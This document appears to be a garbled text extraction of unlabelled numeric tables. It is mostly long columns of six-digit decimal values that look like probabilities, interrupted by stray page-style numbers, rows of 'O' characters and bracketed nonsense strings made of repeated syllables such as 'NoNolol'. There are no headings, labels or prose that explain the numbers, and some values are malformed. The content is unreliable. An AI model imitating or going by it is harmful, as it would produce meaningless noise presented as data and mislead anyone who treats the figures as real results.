.000000
.000000
.000001
.000000
.000000

.007804
.960253
.034407
.000007
.000014
.001835
.000000
.000000
.000003
.000001
.000001
.000003
.000000
.000000
.000004
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000

O O OO OO OO ooo

[eoNeoNoNoNoNoNololololNoloNoolNololNolNoloNoNoNoNolNoBolNoNoNoolNeololNoloNolNolNolNolNoleololNeo]

.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.034480
.403905
.565183
.000002
.003767
.006373
.000000
.000000
.000000
.000058
.000004
.000004
.000006
.002430
.000000
.000001
.000000
.000008
.000011
.000000
.001030
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000

O O OO OO OO ooOo

[eNoNoNoBoNoNoNololoBoNololNooNololNololNoBolNolNoNolNoNoNoloNololNololNololololNelNolNe]

.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000235
.000114
.000000
.000007
.000001
.000006
.000004
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000

O O OO OO OO ooOo

[eNoNoNoBoNoNoNololoBoNololNoBoNololNololoBoNolNoNolNoNoNolBoNololNololNololololNelNolNe]

.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000009
.005576
.001323
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
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(@)

[eNeoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

28

.445892
.479443
.074163
.976650
.000036
.000103
.000000
.000000
.000001
.000000
.000001
.000001
.000006
.000007
.000001
.000006
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

29

.455604
.470233
.076613
.981846
.000814
.000002
.000000
.000000

(@)

[eNeoNoNoloBoloNoNoNoNoNoRolBoloNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

.009202
.956391
.037237
.003002
.000016
.000228
.000000
.000000
.000003
.000001
.000001
.000003
.000000
.000000
.000004
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.010981
.951783
.066822
.000941
.008604
.001838
.000000
.000000

(@)

[eNeoNoNololBoloNoNoNoNoNoRolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNolololololNolNo)

OO OO OO oo

.000000

.033735
.401082
.573294
.000002
.000010
.000555
.000000
.000000
.000000
.000001
.000004
.000004
.000005
.000008
.000000
.000001
.000000
.000008
.000011
.000000
.002744
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.033163
.393543
. 613246
.000002
.000009
.000842
.000000
.000000

lcNoNoNoloBoloNoNoNoNoNoBololoNoNoNoNoNolNololoNoNoNoNolNoNololololNoNoNoNolNolollolNe)

[oNeoNeNoNe]

.000000

.000002
.000013
.000000
.000007
.000001
.000006
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000002
.004019
.000000
.000007
.000001

lcNoNoNoloBoloNoNoNoNoNoBololoNoNoNoNoNolNoBololNoNoNoNolNoNololololNoNoNoNolNololole]

[oNeoNeNoNe]

.000000

.000378
.016142
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000005
.000138
.000001
.000000
.000000
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oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololololNe]

.000001
.000000
.000001
.000001
.000006
.000007
.000001
.000006
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

30

.477065
.446322
.063901
.973449
.024971
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000007
.000001
.000005
.000001
.000000

oNeoNoNoNoNoNoNoNoRoNoholoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololeololNe]

.000003
.000001
.000001
.000003
.000000
.000000
.000004
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.015867
.917311
.020271
.000002
.000020
.000038
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000
.000004
.000000
.000001
.000001

oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololeololNe]

.000000
.000001
.000004
.000004
.000006
.000416
.000000
.000001
.000000
.000008
.000011
.000000
.000236
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.032085
.354669
.542447
.000002
.000008
.000392
.000000
.000000
.000000
.000001
.000004
.000004
.000004
.000007
.000000
.000001
.000000
.000007

oNeoNoNoNoNoNoNoNoRoNoholoNoNoNoNoNoloNoloNoloNoholNoholoNoNoNololNolNolNo)

leoNoNoNoNoNoNololololololNolNo]

.000006
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000622
.000004
.000000
.000006
.000001
.000005
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoNoholoNoNoNoNoNoloNoloNoloNoholNoholoNoNoNololNolNolNo)

eoNoNoNoNoNoNolololNolololNolNo]

.000000
.000001
.000000
.000176
.000000
.000000
.000000
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000004
.000146
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000006
.000001
.000000
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cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

31

.472513
.463586
.085369
.832262
.000457
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006
.000001
.000005
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRololNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.009236
.970493
.021512
.000646
.005211
.000053
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000
.000003
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRololNoNoNoNolNoNoloBolNoNoNoNoNolololololNolNolNolNo]

.000010
.000000
.000233
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.047417
.410135
.560451
.004096
.000007
.000339
.000000
.000000
.000000
.000001
.000004
.000003
.000004
.000006
.000000
.000001
.000000
.000006
.000009
.000000
.154551
.000000
.000000
.000006
.000096
.000469
.000000
.000000

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNoNolNololNolNe]

.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000002
.000039
.000000
.000006
.000001
.000005
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.001064
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

eNeoNoNoloRolBolNoNoNoNoNoNolololoNoNoNoNoNolNololNolNe]

.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000004
.001170
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
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oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNololNoNoNoNoNolNolNolNoloNoBoNololNololNololNolNo)

.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

32

.414394
.500237
.071590
.987584
.000096
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006
.000001
.000005
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000

oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololBoNoloNoBoNololNoNolNolNolNoNoNolNolNolNoloNoBoNololNololNololNeolNo)

.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004145
.974343
.015592
.000002
.000021
.000028
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000
.000003
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002

eoleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNololNoBoNololNololNolNolNoNoNoNolNolNoloNoBoNeololNololNololNeolNo)

.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.037925
.401624
.540949
.000002
.000007
.000345
.000000
.000000
.000000
.000001
.000004
.000003
.000004
.000006
.000000
.000001
.000000
.000006
.000009
.000000
.000587
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015

oleoNoNoNoNoNololNololololNeolNolNe]

eoNoNoBoNoNoNololololNoloNoBolNolololNoNoNoloNolNolololololNololNeololNolNolNo]

.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.001081
.000002
.000000
.000006
.000001
.000005
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000

O O O OO OO0 OOOOoOooo

eoNoNoNoNoNoNoNoloBololoNoBolNololNolNoNoNolNoNolNolNololNololNololNeololNolNolNo]

.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.010143
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
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[eNeoNoNoloRoloNoNoNoNolNoNolololoNoNoNoNoNololoNololoNoNoNoNoNolNoloNoNoNoNoNolNololololNe] O O O O o

o O O o

.000002
.000001
.000005
.000001
.000000

33

.434339
.494070
.070830
.985617
.012188
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006
.000001
.000004
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

34

.451279
.477892
.070811
.989993

[eNeoNoNoloBoloNoNoNoNoNoNolololoNoNoNoNoNolNoloNololoNoNoNoNoNoNololoNoNoNoNolNololololNe] O O O O o

o O O o

.000000
.000000
.000001
.000000
.000000

.003811
.980597
.192039
.000002
.001834
.000029
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000
.000003
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004084
.803877
.187163
.000002

[eNeoNoNoloRololNoNoNoNoNoNolololoNoNoNoNoNolNoloNololNoNoNoNoNoNoNololNoNoNoNolNolNololololNe] O O O O o

o O O o

.000022
.000002
.002553
.000000
.000000

.038225
.420825
.724735
.000002
.000007
.000115
.000000
.000000
.000000
.000001
.000004
.000004
.000004
.000006
.000000
.000001
.000000
.000006
.000009
.000000
.000096
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.016090
.259175
.724662
.000002

O O O O o

lecNoNoNoloBololNoNoNoNoNoNolololNoNoNoNoNoNololololNoNoNoNoNololololNoNoNolNolNolNol ol o]

.000000
.000001
.000006
.000000
.000000

.000002
.000002
.000000
.000006
.000001
.000005
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000002

O O O O o

locNeoNoNoloBololNoNoNoNoNoNolololNoNoNoNoNoNololololNoNoNoNoNolololNolNoNoNolNolNolN ool o]

.000000
.000000
.000000
.000000
.000000

.000005
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000005
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oNeoNoNoNoNoNoRoNoBolNololNololNoNoNoNoNoNolNoNoloNoBoNololNolololNoloNolNolNolNeolNolNolNo)

[eNoNoNoNoNoNoNololololeololNe]

.000023
.000002
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006
.000001
.000005
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

35

.463030
.466159
.063608
.997656
.000332
.000011
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006

oNeoNoNoNoNoNoBoNoBolNoloNololNolNoNolNolNoNoNoNoloNoBoNololNololoNolNolNolNolNolNeolNoNolNo)

O O OO OO0 ODOOOoOOo oo

.001502
.000374
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000
.000003
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.006146
.806691
.006678
.000002
.000009
.000064
.000000
.000000
.000002
.000001
.000001
.000003
.000000
.000000

oNeoNoNoNoNoNoRoNoBolNololNololNolNolNolNolNoNoNoNoloNoBoNolololololNoloNoNolNolNelNolNolNo)

[eoNoNoNoNoNoNololololNeololNe]

.006586
.000460
.000000
.000000
.000000
.000001
.000004
.000003
.000004
.000006
.000000
.000001
.000000
.000006
.000009
.000000
.000093
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.025889
.249449
.513095
.000002
.000005
.000549
.000000
.000000
.000000
.000001
.000004
.000003
.000004
.000006

oNeoNoNoNoNoNoRBoNoBoNoloNololNoNolNoNolNoNoNoNoloNoBoNololNololoNoloNolNolNolNeolNoNolNo)

O O O OO0 OoOo oo

.000841
.000000
.000020
.000001
.000005
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000002
.000001
.000000
.000006
.000001
.000005
.000003
.000001
.000000
.000000
.000000

oNeoNoNoNoNoNoRoNoBolNoloNololNolNolNoNolNoNoNoNoloNoBoNololNolololNoloNoNolNolNolNolNolNo)

O O O OO0 OoOoOo oo

.000006
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000004
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
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cNeololoNoNoNoNoNoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNolololNelNe)

.000001
.000004
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

36

.498468
.437925
.070633
.887147
.000012
.000186
.000000
.000000
.000001
.000000
.000001
.000001
.000005
.000006
.000001
.000004
.000001
.000000
.000000
.000001
.000001
.000000
.000000
.995616

cNeololoNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNolNoNolololoNoNoNolNololNolNelNe)

.000003
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.008652
.984670
.008302
.000952
.000008
.000111
.000000
.000000
.000002
.000001
.000001
.000002
.000000
.000000
.000003
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012

cleololoNoNoNoNoNoNololoBoNoNoNoNoNolololoNoNoNoNolNolololNe)

leNeoNoNoloRolNolNoNoNoNoNoNolololoNoNoNoNololNolNelNe)

.000000
.000001
.000000
.000005
.000008
.000000
.001265
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.046882
.440023
.511728
.000002
.004035
.000099
.000000
.000000
.000000
.000292
.000003
.000003
.000004
.000005
.000000
.000001
.000000
.000005
.000008
.000000
.104252
.000000
.000000
.000006

cNeoBoloNoNoNoNoNoNololNoNoNoNoNoNoNolololoNoNoNoNolNolololNe)

cNeoNoNoloRolNoNoNoNoNoNoNolololNolNolNolNolNolNo]

.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000001
.000001
.000000
.000005
.000001
.000004
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009

cNeoBoloNoNoNoNoNoNololoNoNoNoNoNoNolololoNoNoNoNolNololNolNe

cNeoNoNoloRolNoNoNoNoNoNoNolololNolNolNolNolNolNo]

.000000
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.001136
.001681
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
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olNeoNoNoNoNoNoBoNoloNololNololololNelNolNo]

eNoNeoNoNoNoNoNololoBolNoloNoloNolololNolNoNolNoNoNolNolololNolNolNolNelololNo)

.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

37

.450172
.479195
.064291
.974021
.001108
.000002
.000000
.000000
.000001
.000000
.000000
.000001
.000005
.000005
.000000
.000004
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021

olNeoNoNoNoNoNoBoNololNololNololololNolNolNe]

eNoNeoNoBoNoNoNolohoBoNololNoloNolololNolNoNolNoNoNolNololNolNolNolNolNoelololNo)

.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.007059
.984639
.005472
.000002
.000007
.000019
.000000
.000000
.000002
.000001
.000001
.000002
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000

olNeoNoNoNoNoNoRoNoBolNololNololololNelNolNe]

eloNeoNoNoNoNoNolohoBolNololNoloNolololNolNoNolNoNoNololololNolNolNolNolololNo)

.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.045222
.443050
.503798
.000002
.000005
.000080
.000000
.000000
.000000
.000001
.000003
.000004
.000004
.000005
.000000
.000001
.000000
.000005
.000007
.000000
.021075
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018

oNeoNoNoNoNoNoBoNololNololNololNololNolNolNe]

[coNeoNoNoNoNoNolNoloBoNolBoNoBoNololNololNololNoNoNolololNololNololNe]

.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000793
.000001
.000000
.000005
.000001
.000004
.000273
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000761
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000

olNeoNoNoNoNoNoRBoNoBolNololNololololNolNolNo]

[coNeoNoNoNoNoNolooBoNoBolNoBoNololNololNololNoNoNolololololNololNe]

.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.001767
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
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OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNololololoNoNoNoNoNoNololBolNoNoNolNolNolNolololNe

.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

38

.464930
.470779
.067686
.911235
.000010
.000001
.000000
.000000
.000001
.000000
.000001
.000001
.000004
.000005
.000000
.000004
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

39

OO OO OO o oo

[eNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNololBololoNoNoNoNoNoNolololNoNoNolNolNololololNe

.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.006261
.988267
.008438
.000001
.003845
.000018
.000000
.000000
.000002
.000001
.000001
.000002
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

OO OO OO o oo

[ecNeoNoNoNoRololoNoNoNoNoNolNoBoloNoNolNoNoNoNolololololNoNoNoNoNolNolololNoNoNoNolNololololNe

.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.046597
.449605
.506212
.000001
.000004
.000072
.000000
.000000
.000000
.000001
.000003
.000003
.000003
.000005
.000000
.000001
.000000
.000004
.000007
.000000
.084726
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

OO OO OO o oo

lcNeoNoNoNoRololoNoNoNoNoNoloholNoNoNoNoNolNoNolololoNoNoNoNolNololololNoNolNolNolNolNol o]

.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000001
.000001
.000000
.000005
.000001
.000004
.000002
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

OO OO OO o oo

locNeoNoNoNoRoRoloNoNoNoNoNoloholNoNoNoNoNolNoNolololoNoNoNoNolNololololNoNolNolNolN ool o]

.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000003
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000
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oNoNoNoNoNoNeoRolNoBolNoNoNoNolNoNolNoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OoOooo

.444363
.487950
.065398
.978690
.000992
.000001
.000000
.000000
.000001
.000000
.000000
.000001
.000004
.000005
.000000
.000004
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

40

.440192
.494410
.064029
.997075
.000009
.000001
.000000
.000000
.000001
.000000

oNoNoNoNoNoNoRolNoBoNoNoNoNolNoNolNoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNololNe]

O O OO OO OooOooo

.004157
.987406
.015744
.000001
.000826
.000018
.000000
.000000
.000002
.000001
.000001
.000002
.000000
.000000
.000002
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.003522
.980734
.007866
.000001
.000006
.000018
.000000
.000000
.000002
.000001

oNoNoNoNoNoNeoRolNoBolNoNoNoNoNoloBoNoloNoloNoBolNoloNoNolNolNoloNoloNololNololNololeololNolNolNe]

O O OO OO OooOooo

.044233
.449555
.522109
.000001
.001811
.000071
.000000
.000000
.000000
.000001
.000003
.000003
.000003
.000004
.000000
.000001
.000000
.000004
.000006
.000000
.017503
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.040053
.437838
.503524
.000001
.002443
.000070
.000000
.000000
.000000
.000001

